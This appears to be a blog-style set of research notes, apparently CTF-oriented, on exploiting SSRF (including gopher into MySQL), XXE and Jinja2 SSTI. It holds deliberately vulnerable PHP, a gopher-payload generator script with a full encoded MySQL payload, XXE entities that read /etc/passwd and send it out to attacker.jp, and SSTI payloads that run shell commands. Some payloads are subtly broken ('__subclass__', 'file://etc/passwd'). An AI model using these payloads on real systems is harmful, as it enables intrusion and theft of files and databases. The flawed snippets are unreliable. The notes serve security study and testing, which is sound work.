articleDec 26, 2021
Web Application SSRF / XXE / SSTI Research Notes
Practical notes on SSRF (including gopher into MySQL), XXE (file read and blind OOB), and Jinja2 SSTI sandbox escape via MRO and subprocess.
SSRF overview
- When a web app makes outbound requests, it can often hit ports on its own host or other hosts on the internal network.
- Server-side request forgery is the attacker steering those requests at unintended servers and reading or changing data that never required the attacker's own credentials.
- It looks a bit like CSRF, but the effect lands on the server, not the victim's browser.
Chaining with other bugs
- Combined with other issues, SSRF can escalate to RCE:
- XXE + SSRF
- SSRF + CRLF injection
- SSRF into Redis
- SSRF into MongoDB
PHP SSRF example
- App exposes a GET
urlparameter into PHP curl:
<?php
$c_i = curl_init();
curl_setopt($c_i, CURLOPT_URL, $_GET['url']);
curl_setopt($c_i, CURLOPT_TIMEOUT, 5);
curl_setopt($c_i, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($c_i, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($c_i, CURLOPT_FOLLOWLOCATION, FALSE);
$result = curl_exec($c_i);
curl_close($c_i);
?>- Hit an internal admin API:
# http://victim/?url=http://localhost/api/admin- Hit another internal service:
# http://victim/?url=http://localhost:8000/- Gopher for a raw TCP POST:
# http://victim/?url=gopher://localhost:8000/_POST%20HTTP/1.1%0d%0aSSRF exploit techniques
Protocols useful in SSRF
http://: HTTPftp://: FTPdict://: RFC 2229 dictionary serverssftp://: SFTPtftp://: TFTPldap://: directory servers (e.g. Java ES)gopher://: raw TCPnetdoc://: pre-JDK9 network document URLsfile://: local file read
PHP wrappers (PHP only)
# PHP://filter/convert.base64-encode/resource=파일 경로Shipping HTTP over gopher
- You can rebuild a full HTTP request and send it.
- Shape:
gopher://<proxy-server>/_GET%20http://<attacker.jp:80>/EX%20HTTP/1.1%0d%0a
gopher://<proxy-server>/_POST%20http://<attacker.jp:80>/EX%20HTTP/1.1%0d%0aContent-Length:21%0d%0aCookie:%20c_s=1%0d%0adata={a:1}Gopher HTTP (POST)
- A normal POST:
POST /data HTTP/1.1\r\n
Content-Type:application/x-www-form-urlencoded\r\n
Content-Length:POST_BODY 길이\r\n
\r\n
POST_BODY\r\nURL-encodes to%0d%0a.- You need
Content-Lengthfor the body to be sent. - Gopher skips the first byte after
/, so pad with_(or another filler):
gopher://127.0.0.1/ _POST%20/data%20HTTP/1.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:%209%0d%0a%0d%0aPOST_BODYGopher HTTP (headers)
- If the app gates on custom headers:
<?php
if (isset($_SERVER['HTTP_XXXX']))
echo "True";
?>GET / HTTP/1.1\r\n
XXXX:1234\r\n\r\n- Example checks:
$_SERVER['REMOTE_ADDR'] === '127.0.0.1'
$_SERVER['HTTP_ADMIN'] === 'admin'
$_COOKIE['admin'] === 'admin'
$_POST['admin'] === 'admin'- Request sketch:
gopher://127.0.0.1:80/_POST /api/admin.php HTTP/1.1
Host: 127.0.0.1\r\n
ADMIN: admin\r\n
Cookie: admin=admin;\r\n
Connection: close\r\n
Content-Length: 11\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
\r\n
admin=admin- Encoded gopher form:
gopher://127.0.0.1:80/_POST%20/api/admin.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aADMIN:%20admin%0d%0aCookie:%20admin=admin;%0d%0aConnection:%20close%0d%0aContent-Length:%2011%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a%0d%0aadmin=adminHitting a database over gopher
Vulnerable sample app
<?php
error_reporting(0);
$conn = mysqli_connect('localhost', 'root', '', 'db_perpus');
if (isset($_GET['source'])) {
$source = $_GET['source'];
} else {
$source = '';
}
if (isset($_GET['url'])) {
$result = 'Do Not Url..';
$c_i = curl_init();
curl_setopt($c_i, CURLOPT_URL, $_GET['url']);
curl_setopt($c_i, CURLOPT_TIMEOUT, 5);
curl_setopt($c_i, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($c_i, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($c_i, CURLOPT_FOLLOWLOCATION, FALSE);
$result = curl_exec($c_i);
curl_close($c_i);
}
?>
<html>
<head>
<title>gopher ssrf database</title>
<meta charset="utf-8">
</head>
<body>
<h1>gopher ssrf database</h1>
<form action="" method="get">
<input type="text" name="url" placeholder="url">
<input type="submit" name="submit" value="submit">
</form>
<a href="?source">source</a>
<hr>
<?php echo $result?>
</html>mysqli_connectshows host, user, empty password, and DB name.- Collect MySQL version and environment details first.
- Because there is no password, reproduce login with only id/host and capture the wire packets:
mysql -h 127.0.0.1 -u root
Building the gopher payload
- Turn the captured auth raw bytes into a gopher URL that also carries a query.
- Helper script: Automation/SSRF-through-Gopher.py
dump = raw_input("Give connection packet of mysql: ")
query = raw_input("Give query to execute: ")
auth = dump.replace("\n","")
def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://127.0.0.1:3306/_%" + "%".join(a)
def get_payload(query):
if(query.strip()!=''):
query = query.encode("hex")
query_length = '{:x}'.format((int((len(query) / 2) + 1)))
pay1 = query_length.rjust(2,'0') + "00000003" + query
final = encode(auth + pay1 + "0100000001")
return final
else:
return encode(auth)
print "\nYour gopher link is ready to do SSRF : \n"
print get_payload(query)- Send the resulting link; auth completes and the query runs.
gopher://127.0.0.1:3306/_%25%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%40%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%3b%01%00%00%00%01%25%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%40%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%3b%01%00%00%00%01'- Useful follow-up queries:
select @@version_comment limit 1@ select group_concat(table_name) from information_schema.tables;
SELECT * FROM Information_schema.tables WHERE table_schema = 'admin' AND table_name = 'flag';
admin flag BASE TABLEInnoDB 10
select table_name,column_name from information_schema.columns where table_schema = 'admin' and table_name = "admin";
use admin;select * from flag;XXE overview
- When an app parses XML, an attacker can inject entities that disclose server files or pivot into SSRF.
- Not limited to web forms: OOXML formats (pptx, xlsx, docx) parse XML too.
XML?
- Extensible Markup Language — a W3C data-exchange format.
- Starts with
<?xml version="1.0" encoding="UTF-8"?>; tags are user-defined. - Programs load stored XML through a parser.
<?xml version="1.0" encoding="UTF-8"?>
<userInfo>
<email>kevin@nasa.gov</email>
<firstName>Kevin</firstName>
<lastName></lastName>
</userInfo>XML External Entity injection
- If the parser resolves external entities, attacker-controlled DTD content is processed.
- Reference a declared entity with
&name;.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe "Uee">]>
<userInfo>
<email>kevin@nasa.gov</email>
<firstName>Kevin</firstName>
<lastName>&xxe;</lastName>
</userInfo>정상 결과
Email : kevin@nasa.goc
FirstName : Kevin
LastName :
XXE 공격 수행 결과
Email : kevin@nasa.goc
FirstName : Kevin
LastName : Uee- Seeing
Ueein the response is a strong signal that a higher-impact XXE is in reach.
What XXE can buy you
- File read (
file://,php://) - SSRF (port scan, HTTP GET, …)
- DoS (entity expansion / memory exhaustion)
- RCE in some stacks (
jar://, XXE+SSRF viagopher://) - …
XXE file read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://etc/passwd">]>
<userInfo>
<email>kevin@nasa.gov</email>
<firstName>Kevin</firstName>
<lastName>&xxe;</lastName>
</userInfo>- Raw file content with
</>can break the XML response; wrap with a base64 PHP filter:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<userInfo>
<email>kevin@nasa.gov</email>
<firstName>Kevin</firstName>
<lastName>&xxe;</lastName>
</userInfo>Blind XXE
- When the parser resolves entities but the response never echoes them, exfiltrate out-of-band.
payload.xml
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.jp/data?=%data;'>"> %eval;<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob SYSTEM "http://attacker.jp/payload.xml"> % oob;]>
<userInfo>
<email>kevin@nasa.gov</email>
<firstName>Kevin</firstName>
<lastName>&exfil;</lastName>
</userInfo>- The attacker server's access log shows the base64 blob:
GET /data?bidF3123232oij== HTTP/1.0SSTI overview
- Template engines fill predefined HTML templates with dynamic values (
{{2*3}},${2*3}, and so on). - If user input lands in the template source rather than a safe context, the engine evaluates attacker-controlled template syntax — that is SSTI.
Server-side template injection
Example (Flask / Jinja2)
@app.route('/', methods=["GET", "POST"])
def root():
user = request.args.get('user')
if not user:
user = 'guest'
t_plate = '''<h1>So Good! %s'''%user
return render_template_string(t_plate){{ Code }}
{{ 7 * 7 }} -----------Rendering--------> 49- Built-ins like
configdump application settings:
{{config}} # application settings object
= Rendering =
<Config {'JSON_AS_ASCII': True,
'USE_X_SENDFILE': False,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_NAME': 'session',
'MAX_COOKIE_SIZE': 4093,
'SESSION_COOKIE_SAMESITE': None,
'PROPAGATE_EXCEPTIONS': None,
'ENV': 'production',
'DEBUG': True,
'EXPLAIN_TEMPLATE_LOADING': False,
'MAX_CONTENT_LENGTH': None,
'APPLICATION_ROOT': '/',
'SERVER_NAME': None,
'PREFERRED_URL_SCHEME': 'http',
'JSONIFY_PRETTYPRINT_REGULAR': False,
'TESTING': False,
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
'TEMPLATES_AUTO_RELOAD': None,
'TRAP_BAD_REQUEST_ERRORS': None,
'JSON_SORT_KEYS': True,
'JSONIFY_MIMETYPE': 'application/json',
'SESSION_COOKIE_HTTPONLY': True,
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'TRAP_HTTP_EXCEPTIONS': False}> !!!SSTI sandbox escape
- Direct calls like
open('/etc/passwd', 'rb').read()are often blocked. - Escape by walking MRO to find usable classes.
Method Resolution Order (MRO)
- The order Python searches for methods in a class hierarchy.
- Exposes related types.
SSTI MRO
{{''.__class__.__mro__}}- Typically yields
str,basestring,object. Dump subclasses ofobject:
{{''.__class__.__mro__[2].__subclass__()}}- From that list, pick the
filetype at indexn:
{{''.__class__.__mro__[2].__subclass__()[n]}} # => <type 'file'>{{''.__class__.__mro__[2].__subclass__()[n].open('/etc/passwd/').read()}}File read / exec via MRO
- Prefer
subprocess.Popenfor command execution (Shell=Truedefaults to/bin/shon POSIX). Usecommunicate()so timeouts do not leave orphans.
{{''.__class__.__mro__[2].__subclasses__()[n]('cat flag', shell=True, stdout=-1).communicate()}}
{{config.__class__.__init__.__globals__['os'].popen('flag').read()}}
{{''.__class__.__mro__[2].__subclasses__()[n]('flag', shell=True, stdout=-1).communicate()}}